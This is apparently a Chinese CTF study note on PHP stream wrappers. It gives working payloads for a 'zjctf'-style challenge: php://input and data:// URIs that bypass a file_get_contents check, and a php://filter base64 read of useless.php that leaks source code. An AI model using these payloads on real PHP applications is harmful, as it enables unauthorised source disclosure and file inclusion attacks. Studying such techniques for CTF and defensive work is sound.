php协议类专题

骑猪看日落 2022-12-23 06:25 150阅读 0赞

## 基础知识 ##

file:// — 访问本地文件系统
    http:// — 访问 HTTP(s) 网址
    ftp:// — 访问 FTP(s) URLs
    php:// — 访问各个输入/输出流（I/O streams）
    zlib:// — 压缩流
    data:// — 数据（RFC 2397）
    glob:// — 查找匹配的文件路径模式
    phar:// — PHP 归档
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音频流
    expect:// — 处理交互式的流

## 实际利用 ##

①get构造或者post传入多个参数  
如要传入text,file两个参数

利用&进行连接

如text=1&file=b

②涉及到  
file\_get\_contents($user,‘r’)函数即文件读取函数类–>`不能直接text="welcome to the zjctf"`的原因为–>这个无法写入到文件导致  
因此需要利用php伪协议进行读取  
如这个题目类  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center]  
即需要构造payload为写文件进行绕  
`写文件`  
绕过的方法

#①利用php://input输入流进行读取post中的数据到text中
    php://input-->php
    #②利用data伪协议+明文进行绕
    data://text/plain;welcome to the zjctf
    #③利用data伪协议+base64形式进行绕
    text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

因此构造payload如下  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center 1]

读取文件伪协议  
典型用

#①利用php://filter/read进行读取
    `php://filter/read=convert.base64-encode/resource=useless.php`
    #②利用data://text流进行读取
    `text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=`

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center]: /images/20221120/696e388e3c02495286ed7bcee6f94637.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center 1]: https://img-blog.csdnimg.cn/20201123093241371.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw,size_16,color_FFFFFF,t_70#pic_center